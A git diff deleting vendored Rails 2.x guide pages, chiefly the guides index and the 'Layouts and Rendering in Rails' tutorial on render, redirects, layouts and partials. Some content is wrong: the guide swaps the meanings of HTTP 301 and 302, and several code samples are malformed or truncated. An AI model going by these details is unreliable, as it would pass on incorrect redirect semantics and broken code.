[3] One of these reasons is that we don’t want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.

-
-

12. Changelog

-
-

Lighthouse ticket

-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/index.html b/vendor/rails/railties/doc/guides/html/index.html deleted file mode 100644 index 16ce603c..00000000 --- a/vendor/rails/railties/doc/guides/html/index.html +++ /dev/null @@ -1,222 +0,0 @@ - - - - - Ruby on Rails Guides - - - - - - - - -
- -
-

Ruby on Rails Guides

-
-
-

These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:

-
-
- - - -
-Warning -This page is the result of ongoing Rails Guides hackfest and a work in progress.
-
-
- - - -
-Caution -Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
-
-

Start Here

-
-
-
Getting Started with Rails
-

Everything you need to know to install Rails and create your first application.

-
-

Models

-
-
-
Rails Database Migrations
-

This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.

-
-
-
-
Active Record Validations and Callbacks
-
- - - -
-Caution -Lighthouse Ticket
-
-

This guide covers how you can use Active Record validations and callbacks.

-
-
-
-
Active Record Associations
-

This guide covers all the associations provided by Active Record.

-
-
-
-
Active Record Query Interface
-
- - - -
-Caution -Lighthouse Ticket
-
-

This guide covers the database query interface provided by Active Record.

-
-

Views

-
-
-
Layouts and Rendering in Rails
-

This guide covers the basic layout features of Action Controller and Action View, -including rendering and redirecting, using content_for blocks, and working -with partials.

-
-
-
-
Action View Form Helpers
-
- - - -
-Caution -Lighthouse Ticket
-
-

Guide to using built in Form helpers.

-
-

Controllers

-
-
-
Rails Routing from the Outside In
-

This guide covers the user-facing features of Rails routing. If you want to -understand how to use routing in your own Rails applications, start here.

-
-
-
-
Basics of Action Controller
-

This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.

-
-

Digging Deeper

-
-
-
Action Mailer Basics
-
- - - -
-Caution -Lighthouse ticket
-
-

This guide describes how to use Action Mailer to send and receive emails.

-
-
-
-
Testing Rails Applications
-
- - - -
-Caution -Lighthouse Ticket
-
-

This is a rather comprehensive guide to doing both unit and functional tests -in Rails. It covers everything from “What is a test?” to the testing APIs. -Enjoy.

-
-
-
-
Securing Rails Applications
-

This guide describes common security problems in web applications and how to -avoid them with Rails.

-
-
-
-
Debugging Rails Applications
-

This guide describes how to debug Rails applications. It covers the different -ways of achieving this and how to understand what is happening "behind the scenes" -of your code.

-
-
-
-
Performance Testing Rails Applications
-

This guide covers ways to benchmark and profile your Rails application.

-
-
-
-
The Basics of Creating Rails Plugins
-

This guide covers how to build a plugin to extend the functionality of Rails.

-
-
-
-
The Rails Internationalization API
-
- - - -
-Caution -Lighthouse ticket
-
-

This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.

-
-
-
-
Configuring Rails Applications
-

This guide covers the basic configuration settings for a Rails application.

-
-
-
-
Rails Command Line Tools and Rake tasks
-

This guide covers the command line tools and rake tasks provided by Rails.

-
-

Authors who have contributed to complete guides are listed here.

-

This work is licensed under a Creative Commons Attribution-Share Alike 3.0 License

-
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html b/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html deleted file mode 100644 index 037714db..00000000 --- a/vendor/rails/railties/doc/guides/html/layouts_and_rendering.html +++ /dev/null @@ -1,1278 +0,0 @@ - - - - - Layouts and Rendering in Rails - - - - - - - - -
- - - -
-

Layouts and Rendering in Rails

-
-
-

This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:

-
    -
  • -

    -Use the various rendering methods built in to Rails -

    -
    • -
  • -

    -Create layouts with multiple content sections -

    -
    • -
  • -

    -Use partials to DRY up your views -

    -
    • -
  • -

    -Use nested layouts (sub-templates) -

    -
    • -
-
-
-

1. Overview: How the Pieces Fit Together

-
-

This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it’s time to send a response back to the user, the Controller hands things off to the View. It’s that handoff that is the subject of this guide.

-

In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You’ll see all of those paths later in this guide.

-
-

2. Creating Responses

-
-

From the controller’s point of view, there are three ways to create an HTTP response:

-
    -
  • -

    -Call render to create a full response to send back to the browser -

    -
    • -
  • -

    -Call redirect_to to send an HTTP redirect status code to the browser -

    -
    • -
  • -

    -Call head to create a response consisting solely of HTTP headers to send back to the browser -

    -
    • -
-

I’ll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.

-

2.1. Rendering by Default: Convention Over Configuration in Action

-

You’ve heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your BooksController class:

-
-
-
def show
-  @book = Book.find(params[:id])
-end
-

Rails will automatically render app/views/books/show.html.erb after running the method. In fact, if you have the default catch-all route in place (map.connect ':controller/:action/:id'), Rails will even render views that don’t have any code at all in the controller. For example, if you have the default route in place and a request comes in for /books/sale_list, Rails will render app/views/books/sale_list.html.erb in response.

-
- - - -
-Note -The actual rendering is done by subclasses of ActionView::TemplateHandlers. This guide does not dig into that process, but it’s important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are .erb for ERB (HTML with embedded Ruby), .rjs for RJS (javascript with embedded ruby) and .builder for Builder (XML generator). You’ll also find .rhtml used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
-
-

2.2. Using render

-

In most cases, the ActionController::Base#render method does the heavy lifting of rendering your application’s content for use by a browser. There are a variety of ways to customize the behavior of render. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.

-
- - - -
-Tip -If you want to see the exact results of a call to render without needing to inspect it in a browser, you can call render_to_string. This method takes exactly the same options as render, but it returns a string instead of sending a response back to the browser.
-
-

2.2.1. Rendering Nothing

-

Perhaps the simplest thing you can do with render is to render nothing at all:

-
-
-
render :nothing => true
-

This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).

-
- - - -
-Tip -You should probably be using the head method, discussed later in this guide, instead of render :nothing. This provides additional flexibility and makes it explicit that you’re only generating HTTP headers.
-
-

2.2.2. Rendering an Action’s View

-

If you want to render the view that corresponds to a different action within the same template, you can use render with the name of the view:

-
-
-
def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render "edit"
-    end
-  end
-end
-

If the call to update_attributes fails, calling the update action in this controller will render the edit.html.erb template belonging to the same controller.

-

If you prefer, you can use a symbol instead of a string to specify the action to render:

-
-
-
def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render :edit
-    end
-  end
-end
-

To be explicit, you can use render with the :action option (though this is no longer necessary as of Rails 2.3):

-
-
-
def update
-  @book = Book.find(params[:id])
-    if @book.update_attributes(params[:book])
-      redirect_to(@book)
-    else
-      render :action => "edit"
-    end
-  end
-end
-
- - - -
-Warning -Using render with :action is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does not run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling render.
-
-

2.2.3. Rendering an Action’s Template from Another Controller

-

What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with render, which accepts the full path (relative to app/views) of the template to render. For example, if you’re running code in an AdminProductsController that lives in app/controllers/admin, you can render the results of an action to a template in app/views/products this way:

-
-
-
render 'products/show'
-

Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the :template option (which was required on Rails 2.2 and earlier):

-
-
-
render :template => 'products/show'
-

2.2.4. Rendering an Arbitrary File

-

The render method can also use a view that’s entirely outside of your application (perhaps you’re sharing views between two Rails applications):

-
-
-
render "/u/apps/warehouse_app/current/app/views/products/show"
-

Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the :file option (which was required on Rails 2.2 and earlier):

-
-
-
render :file => "/u/apps/warehouse_app/current/app/views/products/show"
-

The :file option takes an absolute file-system path. Of course, you need to have rights to the view that you’re using to render the content.

-
- - - -
-Note -By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the :layout => true option.
-
-
- - - -
-Tip -If you’re running on Microsoft Windows, you should use the :file option to render a file, because Windows filenames do not have the same format as Unix filenames.
-
-

2.2.5. Using render with :inline

-

The render method can do without a view completely, if you’re willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:

-
-
-
render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
-
- - - -
-Warning -There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
-
-

By default, inline rendering uses ERb. You can force it to use Builder instead with the :type option:

-
-
-
render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
-

2.2.6. Using render with :update

-

You can also render javascript-based page updates inline using the :update option to render:

-
-
-
render :update do |page|
-  page.replace_html 'warning', "Invalid options supplied"
-end
-
- - - -
-Warning -Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
-
-

2.2.7. Rendering Text

-

You can send plain text - with no markup at all - back to the browser by using the :text option to render:

-
-
-
render :text => "OK"
-
- - - -
-Tip -Rendering pure text is most useful when you’re responding to AJAX or web service requests that are expecting something other than proper HTML.
-
-
- - - -
-Note -By default, if you use the :text option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the :layout => true option
-
-

2.2.8. Rendering JSON

-

JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:

-
-
-
render :json => @product
-
- - - -
-Tip -You don’t need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.
-
-

2.2.9. Rendering XML

-

Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:

-
-
-
render :xml => @product
-
- - - -
-Tip -You don’t need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.
-
-

2.2.10. Rendering Vanilla JavaScript

-

Rails can render vanilla JavaScript (as an alternative to using update with n .rjs file):

-
-
-
render :js => "alert('Hello Rails');"
-

This will send the supplied string to the browser with a MIME type of text/javascript.

-

2.2.11. Options for render

-

Calls to the render method generally accept four options:

-
    -
  • -

    -:content_type -

    -
    • -
  • -

    -:layout -

    -
    • -
  • -

    -:status -

    -
    • -
  • -

    -:location -

    -
    • -
-
The :content_type Option
-

By default, Rails will serve the results of a rendering operation with the MIME content-type of text/html (or application/json if you use the :json option, or application/xml for the :xml option.). There are times when you might like to change this, and you can do so by setting the :content_type option:

-
-
-
render :file => filename, :content_type => 'application/rss'
-
The :layout Option
-

With most of the options to render, the rendered content is displayed as part of the current layout. You’ll learn more about layouts and how to use them later in this guide.

-

You can use the :layout option to tell Rails to use a specific file as the layout for the current action:

-
-
-
render :layout => 'special_layout'
-

You can also tell Rails to render with no layout at all:

-
-
-
render :layout => false
-
The :status Option
-

Rails will automatically generate a response with the correct HTML status code (in most cases, this is 200 OK). You can use the :status option to change this:

-
-
-
render :status => 500
-render :status => :forbidden
-

Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in actionpack/lib/action_controller/status_codes.rb. You can also see there how it maps symbols to status codes in that file.

-
The :location Option
-

You can use the :location option to set the HTTP Location header:

-
-
-
render :xml => photo, :location => photo_url(photo)
-

2.2.12. Finding Layouts

-

To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use /app/views/layouts/photos.html.erb. If there is no such controller-specific layout, Rails will use /app/views/layouts/application.html.erb. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.

-
Specifying Layouts on a per-Controller Basis
-

You can override the automatic layout conventions in your controllers by using the layout declaration in the controller. For example:

-
-
-
class ProductsController < ApplicationController
-  layout "inventory"
-  #...
-end
-

With this declaration, all methods within ProductsController will use app/views/layouts/inventory.html.erb for their layout.

-

To assign a specific layout for the entire application, use a declaration in your ApplicationController class:

-
-
-
class ApplicationController < ActionController::Base
-  layout "main"
-  #...
-end
-

With this declaration, all views in the entire application will use app/views/layouts/main.html.erb for their layout.

-
Choosing Layouts at Runtime
-

You can use a symbol to defer the choice of layout until a request is processed:

-
-
-
class ProductsController < ApplicationController
-  layout :products_layout
-
-  def show
-    @product = Product.find(params[:id])
-  end
-
-  private
-    def products_layout
-      @current_user.special? ? "special" : "products"
-    end
-
-end
-

Now, if the current user is a special user, they’ll get a special layout when viewing a product. You can even use an inline method to determine the layout:

-
-
-
class ProductsController < ApplicationController
-  layout proc{ |controller| controller.
-  # ...
-end
-
Conditional Layouts
-

Layouts specified at the controller level support :only and :except options that take either a method name or an array of method names:

-
-
-
class ProductsController < ApplicationController
-  layout "inventory", :only => :index
-  layout "product", :except => [:index, :rss]
-  #...
-end
-
-

With those declarations, the inventory layout would be used only for the index method, the product layout would be used for everything else except the rss method, and the rss method will have its layout determined by the automatic layout rules.

-
Layout Inheritance
-

Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:

-

application_controller.rb:

-
-
-
class ApplicationController < ActionController::Base
-  layout "main"
-  #...
-end
-

posts_controller.rb:

-
-
-
class PostsController < ApplicationController
-  # ...
-end
-

special_posts_controller.rb:

-
-
-
class SpecialPostsController < PostsController
-  layout "special"
-  # ...
-end
-

old_posts_controller.rb:

-
-
-
class OldPostsController < SpecialPostsController
-  layout nil
-
-  def show
-    @post = Post.find(params[:id])
-  end
-
-  def index
-    @old_posts = Post.older
-    render :layout => "old"
-  end
-  # ...
-end
-

In this application:

-
    -
  • -

    -In general, views will be rendered in the main layout -

    -
    • -
  • -

    -PostsController#index will use the main layout -

    -
    • -
  • -

    -SpecialPostsController#index will use the special layout -

    -
    • -
  • -

    -OldPostsController#show will use no layout at all -

    -
    • -
  • -

    -OldPostsController#index will use the old layout -

    -
    • -
-

2.2.13. Avoiding Double Render Errors

-

Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it’s relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.

-

For example, here’s some code that will trigger this error:

-
-
-
def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show"
-  end
-end
-

If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the show view - and throw an error. The solution is simple: make sure that you only have one call to render or redirect in a single code path. One thing that can help is and return. Here’s a patched version of the method:

-
-
-
def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show" and return
-  end
-end
-

2.3. Using redirect_to

-

Another way to handle returning responses to a HTTP request is with redirect_to. As you’ve seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:

-
-
-
redirect_to photos_path
-

You can use redirect_to with any arguments that you could use with link_to or url_for. In addition, there’s a special redirect that sends the user back to the page they just came from:

-
-
-
redirect_to :back
-
-

2.3.1. Getting a Different Redirect Status Code

-

Rails uses HTTP status code 302 (permanent redirect) when you call redirect_to. If you’d like to use a different status code (perhaps 301, temporary redirect), you can do so by using the :status option:

-
-
-
redirect_to photos_path, :status => 301
-
-

Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.

-

2.3.2. The Difference Between render and redirect

-

Sometimes inexperienced developers conceive of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you’ve told the browser what request it should make next, by sending back a HTTP 302 status code.

-

Consider these actions to see the difference:

-
-
-
def index
-  @books = Book.find(:all)
-end
-
-def show
-  @book = Book.find(params[:id])
-  if @book.nil?
-    render :action => "index" and return
-  end
-end
-

With the code in this form, there will be likely be a problem if the @book variable is nil. Remember, a render :action doesn’t run any code in the target action, so nothing will set up the @books variable that the index view is presumably depending on. One way to fix this is to redirect instead of rendering:

-
-
-
def index
-  @books = Book.find(:all)
-end
-
-def show
-  @book = Book.find(params[:id])
-  if @book.nil?
-    redirect_to :action => "index" and return
-  end
-end
-

With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.

-

2.4. Using head To Build Header-Only Responses

-

The head method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling render :nothing. The head method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:

-
-
-
head :bad_request
-

Or you can use other HTTP headers to convey additional information:

-
-
-
head :created, :location => photo_path(@photo)
-
-

3. Structuring Layouts

-
-

When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:

-
    -
  • -

    -Asset tags -

    -
    • -
  • -

    -yield and content_for -

    -
    • -
  • -

    -Partials -

    -
    • -
-

I’ll discuss each of these in turn.

-

3.1. Asset Tags

-

Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:

-
    -
  • -

    -auto_discovery_link_tag -

    -
    • -
  • -

    -javascript_include_tag -

    -
    • -
  • -

    -stylesheet_link_tag -

    -
    • -
  • -

    -image_tag -

    -
    • -
-

You can use these tags in layouts or other views, although the tags other than image_tag are most commonly used in the <head> section of a layout.

-
- - - -
-Warning -The asset tags do not verify the existence of the assets at the specified locations; they simply assume that you know what you’re doing and generate the link.
-
-

3.1.1. Linking to Feeds with auto_discovery_link_tag

-

The auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (:rss+ or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:

-
-
-
<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
-

There are three tag options available for auto_discovery_link_tag:

-
    -
  • -

    -:rel specifies the rel value in the link (defaults to "alternate") -

    -
    • -
  • -

    -:type specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically -

    -
    • -
  • -

    -:title specifies the title of the link -

    -
    • -
-

3.1.2. Linking to Javascript Files with javascript_include_tag

-

The javascript_include_tag helper returns an HTML <script> tag for each source provided. Rails looks in public/javascripts for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/javascripts/main.js:

-
-
-
<%= javascript_include_tag "main" %>
-

To include public/javascripts/main.js and public/javascripts/columns.js:

-
-
-
<%= javascript_include_tag "main", "columns" %>
-

To include public/javascripts/main.js and public/photos/columns.js:

-
-
-
<%= javascript_include_tag "main", "/photos/columns" %>
-

To include http://example.com/main.js:

-
-
-
<%= javascript_include_tag "http://example.com/main.js" %>
-

The defaults option loads the Prototype and Scriptaculous libraries:

-
-
-
<%= javascript_include_tag :defaults %>
-

The all option loads every javascript file in public/javascripts, starting with the Prototype and Scriptaculous libraries:

-
-
-
<%= javascript_include_tag :all %>
-

You can supply the :recursive option to load files in subfolders of public/javascripts as well:

-
-
-
<%= javascript_include_tag :all, :recursive => true %>
-

If you’re loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache => true in your javascript_include_tag:

-
-
-
<%= javascript_include_tag "main", "columns", :cache => true %>
-

By default, the combined file will be delivered as javascripts/all.js. You can specify a location for the cached asset file instead:

-
-
-
<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
-

-

3.1.3. Linking to CSS Files with stylesheet_link_tag

-

The stylesheet_link_tag helper returns an HTML <link> tag for each source provided. Rails looks in public/stylesheets for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/stylesheets/main.cs:

-
-
-
<%= stylesheet_link_tag "main" %>
-

To include public/stylesheets/main.css and public/stylesheets/columns.css:

-
-
-
<%= stylesheet_link_tag "main", "columns" %>
-

To include public/stylesheets/main.css and public/photos/columns.css:

-
-
-
<%= stylesheet_link_tag "main", "/photos/columns" %>
-

To include http://example.com/main.cs:

-
-
-
<%= stylesheet_link_tag "http://example.com/main.cs" %>
-

By default, stylesheet_link_tag creates links with media="screen" rel="stylesheet" type="text/css". You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):

-
-
-
<%= stylesheet_link_tag "main_print", media => "print" %>
-

The all option links every CSS file in public/stylesheets:

-
-
-
<%= stylesheet_link_tag :all %>
-

You can supply the :recursive option to link files in subfolders of public/stylesheets as well:

-
-
-
<%= stylesheet_link_tag :all, :recursive => true %>
-

If you’re loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache => true in your stylesheet_link_tag:

-
-
-
<%= stylesheet_link_tag "main", "columns", :cache => true %>
-

By default, the combined file will be delivered as stylesheets/all.css. You can specify a location for the cached asset file instead:

-
-
-
<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
-

-

3.1.4. Linking to Images with image_tag

-

The image_tag helper builds an HTML <image> tag to the specified file. By default, files are loaded from public/images. If you don’t specify an extension, .png is assumed by default:

-
-
-
<%= image_tag "header" %>
-

You can supply a path to the image if you like:

-
-
-
<%= image_tag "icons/delete.gif" %>
-

You can supply a hash of additional HTML options:

-
-
-
<%= image_tag "icons/delete.gif", :height => 45 %>
-

There are also three special options you can use with image_tag:

-
    -
  • -

    -:alt specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension) -

    -
    • -
  • -

    -

    -
    • -
  • -

    -:mouseover sets an alternate image to be used when the onmouseover event is fired. -

    -
    • -
-

3.2. Understanding yield

-

Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:

-
-
-
<html>
-  <head>
-  </head>
-  <body>
-        <%= yield %>
-  <hbody>
-</html>
-

You can also create a layout with multiple yielding regions:

-
-
-
<html>
-  <head>
-        <%= yield :head %>
-  </head>
-  <body>
-        <%= yield %>
-  <hbody>
-</html>
-

The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.

-

3.3. Using content_for

-

The content_for method allows you to insert content into a yield block in your layout. You only use content_for to insert content in named yields. For example, this view would work with the layout that you just saw:

-
-
-
<% content_for :head do %>
-  <title>A simple page</title>
-<% end %>
-
-<p>Hello, Rails!</p>
-

The result of rendering this page into the supplied layout would be this HTML:

-
-
-
<html>
-  <head>
-        <title>A simple page</title>
-  </head>
-  <body>
-        <p>Hello, Rails!</p>
-  <hbody>
-</html>
-

The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It’s also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.

-

3.4. Using Partials

-

Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.

-

3.4.1. Naming Partials

-

To render a partial as part of a view, you use the render method within the view, and include the :partial option:

-
-
-
<%= render :partial => "menu" %>
-

This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you’re pulling in a partial from another folder:

-
-
-
<%= render :partial => "shared/menu" %>
-

That code will pull in the partial from app/views/shared/_menu.html.erb.

-

3.4.2. Using Partials to Simplify Views

-

One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what’s going on more easily. For example, you might have a view that looked like this:

-
-
-
<%= render :partial => "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-...
-
-<%= render :partial => "shared/footer" %>
-

Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don’t need to see the details of these sections when you’re concentrating on a particular page.

-
- - - -
-Tip -For content that is shared among all pages in your application, you can use partials directly from layouts.
-
-

3.4.3. Partial Layouts

-

A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:

-
-
-
<%= render :partial => "link_area", :layout => "graybar" %>
-

This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).

-

3.4.4. Passing Local Variables

-

You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:

-

new.html.erb:

-
-
-
<h1>New zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
-

edit.html.erb:

-
-
-
<h1>Editing zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
-

_form.html.erb:

-
-
-
<% form_for(zone) do |f| %>
-        <p>
-          <b>Zone name</b><br />
-          <%= f.text_field :name %>
-        </p>
-  <p>
-    <%= f.submit button_label %>
-  </p>
-<% end %>
-

Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.

-

Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:

-
-
-
<%= render :partial => "customer", :object => @new_customer %>
-

Within the customer partial, the @customer variable will refer to @new_customer from the parent view.

-
- - - -
-Warning -In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
-
-

If you have an instance of a model to render into a partial, you can use a shorthand syntax:

-
-
-
<%= render :partial => @customer %>
-

Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it.

-

3.4.5. Rendering Collections

-

Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:

-

index.html.erb:

-
-
-
<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-

_product.html.erb:

-
-
-
<p>Product Name: <%= product.name %></p>
-

When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the +_product partial, you can refer to product to get the instance that is being rendered. To use a custom local variable name within the partial, specify the :as option in the call to the partial:

-
-
-
<%= render :partial => "product", :collection => @products, :as => :item %>
-

With this change, you can access an instance of the @products collection as the item local variable within the partial.

-
- - - -
-Tip -Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you’re rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered.
-
-

You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:

-
-
-
<%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
-

Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.

-

There’s also a shorthand syntax available for rendering collections. For example, if @products is a collection of products, you can render the collection this way:

-

index.html.erb:

-
-
-
<h1>Products</h1>
-<%= render :partial => @products %>
-

_product.html.erb:

-
-
-
<p>Product Name: <%= product.name %></p>
-

Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:

-

index.html.erb:

-
-
-
<h1>Contacts</h1>
-<%= render :partial => [customer1, employee1, customer2, employee2] %>
-

_customer.html.erb:

-
-
-
<p>Name: <%= customer.name %></p>
-

_employee.html.erb:

-
-
-
<p>Name: <%= employee.name %></p>
-

In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.

-

3.5. Using Nested Layouts

-

You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here’s an example:

-

Suppose you have the follow ApplicationController layout:

-

app/views/layouts/application.erb

-
-
-
<html>
-<head>
-  <title><%= @page_title %><title>
-  <% stylesheet_tag 'layout' %>
-  <style type="text/css"><%= yield :stylesheets %></style>
-<head>
-<body>
-  <div id="top_menu">Top menu items here</div>
-  <div id="menu">Menu items here</div>
-  <div id="main"><%= yield %></div>
-</body>
-</html>
-

On pages generated by NewsController, you want to hide the top menu and add a right menu:

-

app/views/layouts/news.erb

-
-
-
<% content_for :stylesheets do %>
-  #top_menu {display: none}
-  #right_menu {float: right; background-color: yellow; color: black}
-<% end -%>
-<% content_for :main %>
-  <div id="right_menu">Right menu items here</div>
-  <%= yield %>
-  <% end -%>
-<% render :file => 'layouts/application' %>
-
- - - -
-Note -In versions of Rails before Rails 2.3, you should use render 'layouts/applications' instead of render :file => 'layouts/applications\'
-
-

That’s it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.

-

There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the ActionView::render method via render 'layouts/news\' to base a new layout on the News layout.

-
-

4. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -

    -
    • -
  • -

    -December 27, 2008: Information on new rendering defaults by Mike Gunderloy -

    -
    • -
  • -

    -November 9, 2008: Added partial collection counter by Mike Gunderloy -

    -
    • -
  • -

    -November 1, 2008: Added :js option for render by Mike Gunderloy -

    -
    • -
  • -

    -October 16, 2008: Ready for publication by Mike Gunderloy -

    -
    • -
  • -

    -October 4, 2008: Additional info on partials (:object, :as, and :spacer_template) by Mike Gunderloy (not yet approved for publication) -

    -
    • -
  • -

